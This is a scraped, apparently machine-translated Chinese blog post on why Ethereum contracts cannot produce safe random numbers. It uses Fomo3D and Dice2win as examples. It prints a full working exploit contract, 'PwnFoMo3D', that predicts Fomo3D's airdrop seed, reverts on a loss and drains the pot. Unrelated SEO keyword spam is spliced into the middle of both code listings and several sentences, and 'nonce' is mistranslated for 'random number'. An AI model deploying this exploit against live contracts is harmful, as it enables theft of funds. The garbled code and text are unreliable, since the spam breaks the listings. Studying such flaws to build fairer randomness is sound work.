主页 > imtoken钱包新版下载 > 关于以太坊随机数

关于以太坊随机数

imtoken钱包新版下载 2023-09-01 05:11:28

在以太坊应用中,游戏一直是热点中的热点,而在游戏中,随机数往往是不可或缺的功能。 比如在骰子类游戏中,我们需要通过随机数来控制点数。 一个游戏如果有一个随机数算法好的话,不仅可以保证游戏的庄家不被黑,还可以保证玩家不被屠杀。

虽然 nonce 很重要,但坏消息是在以太坊中实现基本的 nonce 并非易事。 对于不熟悉区块链的人来说,这可能有点难以理解:毕竟大多数编程语言都有生成随机数的功能。 以太坊的Solidity没有这个功能吗? 答案是不! 要理解这一点,我们还需要了解以太坊的运行机制:以太坊是一个基于共识的区块链系统。 智能合约代码运行时,不同节点获取的结果必须是一致的。 想象一下,假设Solidity有一个随机函数,在A节点产生一个随机数123,在B节点产生一个随机数789,那么没有共识,区块链的基础不存在,所以以太坊不存在像这样的函数随机的。

下面以两款知名的DAPP游戏为例,看看它们是如何生成随机数的:

先看Fomo3D,它有空投奖励功能,随机数相关如下:

function airdrop()
    private
    view
    returns(bool)
{
    uint256 seed = uint256(keccak256(abi.encodePacked(
        (block.timestamp).add
        (block.difficulty).add

以太坊多久回本_sitecsdn.net 以太坊和以太币的关系_以太坊经典和以太坊

((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); }

sitecsdn.net 以太坊和以太币的关系_以太坊多久回本_以太坊经典和以太坊

复制

大致的逻辑是根据区块、地址等信息做一些计算,得到一个随机数,然后判断用户是否中奖。 然而,这个随机数是一个伪随机数。 让我们看看对应的攻击代码:

pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
    function airDropTracker_() external returns (uint256);
    function airDropPot_() external returns (uint256);
    function withdraw() external;
}
contract PwnFoMo3D {

sitecsdn.net 以太坊和以太币的关系_以太坊多久回本_以太坊经典和以太坊

constructor() public payable { // Link up the fomo3d contract and ensure this whole thing is worth it FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1); if (fomo3d.airDropPot_() < 0.4 ether) { revert(); } // Calculate whether this transaction would produce an airdrop. Take the // "random" number generator from the FoMo3D contract. uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp) + (block.difficulty) +

sitecsdn.net 以太坊和以太币的关系_以太坊多久回本_以太坊经典和以太坊

((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) + (block.gaslimit) + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) + (block.number) ))); uint256 tracker = fomo3d.airDropTracker_(); if((seed - ((seed / 1000) * 1000)) >= tracker) { revert(); } // Ok, seems we can win the airdrop, pwn the contract

以太坊经典和以太坊_sitecsdn.net 以太坊和以太币的关系_以太坊多久回本

address(fomo3d).call.value(0.1 ether)(); fomo3d.withdraw(); selfdestruct(msg.sender); } }

复制

不懂Solidity也没关系,代码逻辑很简单:攻击者部署新合约,调用攻击合约中的Fomo3D合约。 这样,两者必须打包在同一个区块中,这样攻击者就可以按照合约中的合约 相同的随机数逻辑来预览是否能中奖,不能中奖则回滚,离开如果可以的话,用钱。 这样,攻击者的成本只是部署合约的gas费,与被盗的bonus相比可以忽略不计。

再看Dice2win,主要有两个函数:placeBet和settleBet,分别对应投注和彩票。 一个叫做hash-commit-reveal的算法用来实现随机数:

【SecretSigner Promise】庄家(secretSigner)随机生成一个随机数reveal,同时计算commit = keccak256(reveal)承诺reveal。 然后根据当前区块高度,设置commitment使用的最后一个区块高度commitLastBlock。 对commitLastBlock和commit的组合进行签名得到sig以太坊多久回本,同时发送(commit, commitLastBlock, sig)给玩家。 [Player Bet] 获得(commit, commitLastBlock, sig)后,玩家选择具体的游戏进行游戏,猜测一个随机数r,发送投注交易placeBet给智能合约进行投注。 【庄家开奖】当庄家在区块1中看到玩家的投注信息后,将结算投注交易公开承诺值reveal给区块链。 合约计算随机数random_number=keccak256(reveal,block1.hash)。 如果random_number满足用户的投注条件以太坊多久回本,则用户赢,否则庄家赢。 此外,游戏还有奖品机制,即如果某个random_number满足某个特殊值(如88888),则用户可在奖池中中奖。

注:以上信息摘自《不公平的游戏,Dice2win公平性分析》。

banker commitment、player betting、banker draw这三个步骤对应hash-commit-reveal的三个阶段。 整个过程中,庄家控制随机数,玩家控制赌注,敏感信息分散在不同的人手中。 我想单独作弊,从而实现一个相对公平的算法。 当然,也可能存在参考链接中提到的庄家选择性提款的问题,不过这个可以通过其他方法避免,这里略过。

看完本文的例子,相信大家应该对以太坊中如何生成随机数有了基本的了解:记住区块链中的一切都是公开的,不要试图通过智能合约中的区块等信息来生成一个随机数随机数,但是随机数要在服务器端通过hash-commit-reveal等算法实现。 另外推荐另一篇好文:以太坊智能合约中的随机数预测。